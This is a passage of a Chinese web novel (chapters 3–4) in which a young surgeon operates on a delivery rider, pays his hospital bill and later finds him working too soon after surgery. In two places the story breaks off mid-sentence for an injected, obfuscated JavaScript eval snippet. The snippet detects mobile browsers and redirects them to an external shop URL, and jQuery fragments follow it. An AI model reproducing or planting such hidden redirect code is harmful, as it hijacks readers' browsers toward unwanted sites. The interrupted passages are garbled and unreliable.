《我病弱,但我攻》 3. 宋玉×陆锦行(3) 陆锦行站在洗手台前,低头揉搓着自己的手指,回想起刚刚那病人在手术同意书上签下的名字。 宋、玉。 这名字本质上没什么特别,名字里带玉的,别管男的女的都能一抓一大把,可偏偏是那个人叫,让他觉得有些不一样,好像还挺有意境的。 这么想着,脑海里便不自觉地浮现出那张隐忍疼痛的脸,泛着红的眼睛,过分苍白的唇,以及那望向他求救般的破碎眼神… 在想什么呢! 陆锦行有些诧异,自己竟会在手术前生出这么多杂念。他连忙冲掉手上的泡沫,习惯性地用胳膊肘关掉水龙头,转身走进手术室。 那边已经准备得差不多了,打了麻醉后的宋玉安静地躺在手术台上,气管插管的胶布条贴在嘴角。身上的衣物已经全部去除,他眼眸轻阖着,脖颈微微后仰,两条手臂向展开后固定在两侧的托手板上。 陆锦行目光扫过去,护士正在插尿管,他没怎么细看,背过身抬起胳膊,在护士的帮助下穿上无菌手术服,戴好手套后活动一下五指。 “腹腔镜吗?”助手小张在旁边问了一句。 陆锦行看了一眼监护仪,血压还在往下掉,心率却仍然居高不下,摇了摇头,“他腹腔的情况不好,气腹打上去,回心血量还得掉。” 他顿了一顿,“消毒吧,开腹,直接进。” 卵圆钳夹着碘伏纱布,从宋玉的上腹开始,一圈圈往外画,陆锦行站在手术台边,目光落在那片皮肤上。 像腹部这种平时不会暴露在外的部位,肤色比其他地方白了很多,但不是健康的白,是那种没有亮光的纸白色。肚脐周围堆叠着不规则的淤青,有的发红,也有几块边缘泛着黄绿色,像是伤了有一阵子了。 像是被什么硬物的棱角硌的。 陆锦行的目光不动声色地随着那碘伏纱布移动,那些伤重重叠叠的,从腹部一直蔓延到腰际,他看着那些伤,心里说不上来是什么感觉。 消完毒,铺完单,宋玉全身都被无菌单盖住,就只在腹部露出一块正方形的手术区域。 陆锦行站到主刀位置,伸手按了按那块皮肤,找准角度后,接过小张递来的手术刀,面无神色地开始切。 皮下脂肪很薄,也许是因为长期的劳累和营养摄入不足,让这具身体没有什么冗余的肉。 陆锦行换了电刀,一层一层切下去,止了血,再继续往下深入。 “拉钩。” 助手小张递过腹腔拉钩,两个人同时用力,将切口向两侧拉开,腹膜露了出来,陆锦行在中间切了个小口,一股液体瞬间涌出。 “吸引器。” 陆锦行将吸引器的头伸进那个小口,熟练地清理起宋玉的腹腔积液,一遍又一遍,直到回吸的液体变得清亮了些,他才拿起针,将穿孔的部位细致地缝补好。 陆锦行的手极稳,缝合的速度和针法看得一旁的护士瞪目结舌。每一针的间距、深度和力度都出奇的一致,关键是手法还利落,又快又稳,从缝补穿孔部位到后面的关腹都一气呵成。 如果不看这张年轻的脸,只看手法,就是说他做了几十年的手术,都会有人信。 最后一针打完,剪断缝线,贴好敷料,陆锦行抬起头,看了一眼监护仪。 监护仪上的数据缓缓跳动,血压稳住了,心率也降了下来。 他偏过头,目光瞥向宋玉,后者嘴里咬着管子,闭着眼,安安静静地躺在那,被无菌单盖着只漏出一个头,完全不知道自己方才进行了一台多么凶险的手术。 陆锦行下了手术,回到之前的位置洗手,没洗两下,心里那种奇怪的感觉又一次浮了上来。 他想起刚刚手术的那个病人。 那个叫宋玉的外卖员。 脑海里莫名地出现了他骑着电动车穿梭在车流里,奔跑在楼梯间送外卖的生动画面。而现在,他身上插着管子不声不响地躺在病床上,全身的秘密都被他看光了。 从头到脚。他的每一寸身体,和他身上的每一处伤,全都无遮无拦地显露在他的眼皮子底下。 陆锦行是医生,他不是没看过病人,每天有那么多人躺在他面前,男的女的,老的少的,美的丑的,但他的注意力从来都只在他工作职责里。 比方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356266|199681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说手术怎么做,怎么做对患者身体伤害最小,怎么能给危重患者保住一条命… 手术室里的工作,本就不该夹杂任何复杂的心思,但是不得不承认,宋玉的这一台手术,第一次让他产生了超出手术之外的…私人情绪。 … 宋玉是在手术一小时后恢复意识的。 他从麻醉中醒来,眼前还是一片模糊,最先感觉到的是喉咙里的不适。一根管子从他的口腔深入进去,一直插进气管里,他说不出话,想咳嗽也咳不出声,呼吸完全不受自己的控制。 归根结底,宋玉也只有二十三岁,他的身体没做过手术,面对这种突如其来的身体失控,让他骤然间乱了分寸。 麻药的药效还没过,他一心急,手脚顿时剧烈地抖动起来,喉咙里也跟着传来嗬嗬的声响。 “宋玉,宋玉!” 有人叫他,是他的室友陈东。 宋玉听着那声音,稍微放松下来一些,可还是在不受控制地哆嗦,视线从模糊到逐渐清晰。 窗外的天黑了,应该是深夜。 陈东站在病床边,身旁还站着一个穿着白大褂的医生,那医生身形颀长,正垂着眼一瞬不瞬地望着他,那双眼睛很好看,沉稳有力,睫毛很长。 宋玉认出来,是给他开刀的那个医生。 他想说话,却力不从心,只是虚弱地呜了一声,从插管的缝隙里溢出一缕气音。 下一秒,一只温热的手轻轻握住了他。 陆锦行凑近了些,对着那双涣散潮湿的眼睛发出简单的指令,“能眨眼吗?” 宋玉慢慢地眨了一下,睁得很艰难,昏昏沉沉的又想睡。 陆锦行没有移开视线,近距离注视着他的脸,用手指轻轻顶了顶他的掌心,“握我的手。” 宋玉略显懵懂地望着面前人,他听懂了,但是麻醉残留的药效下,意识很快沉下去,他看着那人的脸,眼神又开始失焦。 “听懂了,就握一下。”陆锦行说,“握了,我给你拔管。” 声音落下,陆锦行感觉掌心痒痒的,有什么东西很轻地蹭了一下他的手指尖。 4. 宋玉×陆锦行(4) 宋玉再一次醒来时,喉咙里的管子不见了,他下意识吞咽,跟吞了刀片一样疼。 外面的天已经大亮,是个晴天。 床边没人。 阳光隔着纱帘透进来,明晃晃地落在病床上,将他那只扎着留置针本就没什么血色的手,照得几近透明。 左手扎着针,右手食指夹着血氧仪,宋玉的两只手都不太能动,只能勉强屈起一条腿,用手肘撑着床尝试起身。 然而只是这样一个轻微的动作,就连带着肚子里的什么东西被猛的一扯,同时他意识到,自己的身下还有一根管子。 两根管子,一根在肚子上,一根在两腿间,宋玉不知道那是什么,只得慢慢躺回去,不敢再动了。 他的床位挨着窗边,另一侧的床帘拉着,将他与其他的病人隔开,划分出一小片相对私密的空间。 邻床应该是个上了岁数的男人,打起呼噜震天响。再远一些,靠着门边的位置,是一对母女,有小孩子在闹,妈妈在哄,声音压得很低,断断续续地听不真切。 宋玉躺在床上,听着这些纷杂的声音,嘴唇干的厉害。他想喝一口水,扭头看见床头柜上摆着一个保温杯,但他起不来,盯着那杯子看了许久,等着人来。 大概十几分钟后,床帘被人拉开,一个陌生男人探进头来,看见他睁眼后愣了愣,随即憨憨一笑。 “你醒啦?” 宋玉不认识他,轻轻抬了抬眉。 男人看出他的疑惑,在他床边坐了下来,说道:“我是东哥朋友,他上午有个急活推不开,不知道你什么时候能醒,让我在这看着,说你醒了立刻给他打电话。” 他按了床头的呼叫铃,然后掏出手机,“我这就给他发消息。” 没多久,护士便进来了,检查了一番后在床头的夹板上写字。 宋玉张了张嘴,声音嘶哑着,艰难吐出几个字,“想喝水…” 护士抬头看了他一眼,目光没忍住在那张脸上多停留一会儿,笑了一下,半晌后找来一个一次性的汤勺递给看护的男人,让他用这个舀水喂给他。 男人的手上满是粗茧,笨拙地拆开勺子,舀着水喂给宋玉,帮他润了润干裂的唇。 “…谢谢。”宋玉感激地看着他,明明身子难受动不了,还是硬撑着起了起身,去够那勺子。 他很不习惯像这样被别人伺候,耳根红得够呛。 水是温的,他在嘴里含了一会儿才咽下去,温水滑过喉咙,疼了他缩了缩。 陈东是半个小时后到的,他提着一大篮水果,拎了一包购买的日用品,风尘仆仆地撩开床帘,身上还沾着灰,一屁股坐在病床前。 “你特么的,吓死我了。” 陈东说得心有余悸,眼睛里亮了亮,很快带上了几分长者的厉色,说教他道:“让你成天玩命地干,现在好了,手术住院花了三万二,几个月又白干,你就说说这笔账…” 他忽然住了嘴。 宋玉的眼眶红了。 陈东愣在那儿,手足无措地搓了搓膝盖,语气软下来,“哎,你别上火,没事的,正好趁机会养养身体,啊。” 宋玉歪过头看着他,声音嘶哑得听不真切,“三万二?” “嗯。” “哪…哪来的钱?” “我身上也没那么多,给你垫了四千,剩下的,都是那个医生给你垫的。”陈东说着不由得感慨,“那医生人真不错,说不急着还。” 宋玉的呼吸重了重,他仰起头盯着天花板,脑子里恍恍惚惚地又想起昨天那个握着自己手的医生。 那双眼睛温柔平静,一瞬不瞬地注视着他,没有鄙夷,也没有轻视,一瞬之间的错觉,很像他的家人。 “我能不能见见他?”宋玉想当面道个谢,然后再问他要一个还钱的卡号。 “等下午两点多会有医生查房。”陈东说。 宋玉点了点头,随之便陷入了漫长的等待。一直到下午,医生带着护士进来查房,他撑起身子,隔着床帘往门口看,发现为首的医生不是昨天那个人。 陈东看出宋玉的疑惑,知道他说话费劲,替他问:“你好,我想问一下,昨天给我兄弟手术那个大夫去哪了?我们这边想当面感谢一下他。” 那医生低头检查着宋玉的伤口,头也没抬,“陆医生是吧,他不在,我们是轮班的。” “那他什么时候来上班呢?” “他请了一天假,然后紧接着要去江港那边出差,得一周呢。”医生抬起头笑了笑,“没事,你的感谢我替你们转达。” 宋玉嗯了一声,没再问,但心里隐隐的有些失落。 那天晚上,宋玉伤口疼得没怎么睡着。 病房的灯关了,门开了一道缝隙,走廊的光透进来,在棚顶划过一道倾斜的光亮。 镇痛泵已经按完了,他躺在床上,盯着那道光,想起手术住院的那三万二。 四千是陈东的,剩下两万八是那个医生的,他一个月跑外卖,拼命跑的话能挣八千,房租六百,还债两千,给弟弟的生活费一千,剩下的吃饭… 一个月能攒多少? 四千?还是五千?好像没那么多。 他疼得发懵,脑子里的数字搅成一团,最后只剩下一个念头。 得还,得尽快还。 也许是年轻,也许是手术的医生技术过硬,宋玉手术的创口愈合得很快,每个来查房换药的护士都忍不住感慨一句,这伤口缝得太漂亮,恢复得真不错。 第四天的时候,宋玉可以下床了,他开始尝试着走路。 躺得久了,头晕的厉害,宋玉在床边坐了好一会儿才站起来,被陈东扶着慢慢走几步。 宋玉属于那种要强的性格,走了两步便要自己来,扶着墙在走廊里一步一步慢慢挪腾。 走廊很长,阳光斜照进来,把整条走廊笼罩在一层发白的光晕里。墙壁上是一排优秀医生的介绍,玻璃框里的照片反着光,看不太清,但宋玉还是一眼认出了那双眼睛。 他停下脚步,仰着头。 照片里的人穿着白大褂,没戴口罩,露出一张过分年轻的脸。他的五官长得很周正,眉眼的轮廓温和,可微笑时眼底却闪动着什么东西,像是野心,像是他天生就是一个有主意的人,知道自己要去哪儿。 照片底下写着三个字。 陆锦行。 宋玉站在那儿看了很久,记下了这个名字。 第六天,宋玉提前拆线出院。 护士把出院的小结单子递给他,他将单子折好后装进口袋,委托护士转交给陆锦行一张纸条。 第二日,陆锦行出差回来,心里记挂那个叫宋玉的病人,还没换衣服就火急火燎进了病房,却发现床上已经换了人。 护士说病人已经出院了,还给他留下了东西,陆锦行接过来,那是一张皱皱巴巴的欠条。 宋玉的字很漂亮,写得一笔一划,工工整整。 陆医生,谢谢你,这是我的电话,请把卡号发给我,给我三个月,我会尽快还给你两万八。给你添麻烦了,实在对不起。 宋玉。 陆锦行看着那几行字,心里有些不爽快,他拉着负责的护士,“我不是嘱咐你,让他十天才能出院吗,只是伤口愈合的快,里面不一定能好利索。” “他执意要走,说家里有事,确实没有生命危险了,我们也不好拦着人家。” 陆锦行拿出手机,对着那串电话号码输进去,想了想又删除,觉得自己现在这股情绪来得有些莫名其妙,怪怪的。 两万八对他来说不算什么,加上急诊忙,很快又有了新的病人,陆锦行忙起来,便把这一档子事抛在脑后。 但是紧接着第二天,他就在医院楼附近的道口,看见骑着电动车送外卖的宋玉。 这座城市有很多人,两人相遇的概率极低,后来想想,这大概都是天意。 陆锦行爱喝的一家咖啡店在那条街上,他拎着咖啡出来,一抬头,就看见了马路对面的宋玉。 人来车往,鸣笛声沸成一片。 两个人隔着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356267|199681||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一条马路,四目相对。 宋玉的第一反应是走,他想过和陆锦行再次遇见,但没想过是在手术后的第七天,也没想过是以这种窘迫的方式会面。 另一边他又觉得自己倒霉,一大清早,才送了一单,就撞上自己的主治医生。 他慌张地移开视线,但他走不了,前后都是等红灯的汽车,他卡在缝隙里,只能待在那儿,看着陆锦行穿过马路走到他面前。 陆锦行一时间没说出什么话,他默不作声地将人打量了一遍,从宋玉身上那套外卖服,看到他那张没什么血色的脸。 宋玉骑在电动车上,一条长腿点着地,腰腹微微弯着,下意识护着肚子。 “你出院了?”陆锦行声音很平,一双眼睛盯在他身上,明知故问。 宋玉有些不敢看他。 医生的身上有着和老师差不多的威压,让宋玉心虚得抬不起头。 “嗯。”他闷闷地应了一声,试图转移话题,“陆医生,我的欠条你看到了吗?你可以把卡号…” “术后第几天?”陆锦行打断他的话。 “…第七天。” 陆锦行沉默了,半晌后叹了口气。 那种沉默比骂人一顿还难受,宋玉能感受到他的目光落在自己身上,从上到下,再从下到上。 他低着头,看着陆锦行的鞋尖在他的脚边,干干净净的,和他沾满尘土的脏鞋形成了鲜明对比。 陆锦行蹙着眉,眼睛里没了当初在医院时的温柔,“手术刚一周,胃上的伤口还没有全长好,腹腔里还有炎症,你出来送外卖?” 宋玉脸红了半边,一时间不知道自己该说些什么。说自己缺钱?那未免太不要脸了,好像在用卖惨逃避还债。说自己没事?但凡长了眼睛的人都能看出来,他的状态不好。 “宋玉。”陆锦行叫他。 宋玉有些意外,眼底闪过讶异。 这是陆锦行第一次叫他的名字。 他抬起头,对上那双眼睛,那眼睛里没有他预想中的愤怒,更多的是一种无力。 陆锦行问他,“你知道胃穿孔复发是什么后果吗?” 宋玉摇头。 “短时间再破一次,腹腔的感染会更严重,手术更难做,死亡率更高。”陆锦行看着他,“你要是再被送进来,我不一定还能救你。” 话音落下,路口的路灯亮了,后面的车急促地按了按喇叭。宋玉回过神来,往道路边把挪了挪,让出车道。 “把单退了。”陆锦行说。 “什么?” “我说,把你接的外卖单子退了。” 宋玉攥着车把手,没动。 “你要跑单赚钱,我不拦着你,但不是今天,明白吗?”陆锦行说着将手按在电动车扶手上,生怕他跑,“以你现在的体力,连五楼都爬不上去,你信不信?” 宋玉自然是信,他刚从二楼下来的时候,腿都是软的。 迟疑片刻后,他掏出手机,把刚接的单子退掉,弹窗跳出来,扣了他违约金。 “把车锁好。”陆锦行指了指不远处停着的那辆大众,“我送你回去,你现在的状态,骑着电动车不安全。” “不用,陆医生,我…” “宋玉,你是我的病人,你要是在我眼皮子底下出事,我要担责。”陆锦行难得对人有耐心,又重复了一遍,“上车。” 宋玉依旧没动,他知道陆锦行说的有道理,可还是不想接受这份帮助。 也许是因为他觉得自己欠这个人够多了,也许只是觉得自己的衣服脏,不想坐进别人干净的车里。 “我骑车就行,我慢一点…” 陆锦行不再跟他周旋,直接把他电动车的钥匙拔了,揣进自己兜里。 “上车。” 这一次的语气不容置疑,他伸出手把人从车上扶下来,特意留意着肚子,问他,“你家住哪?” 宋玉被他抓着胳膊,托着后背,张了张嘴,发现自己压根没有拒绝的余地。 他说了一个地址。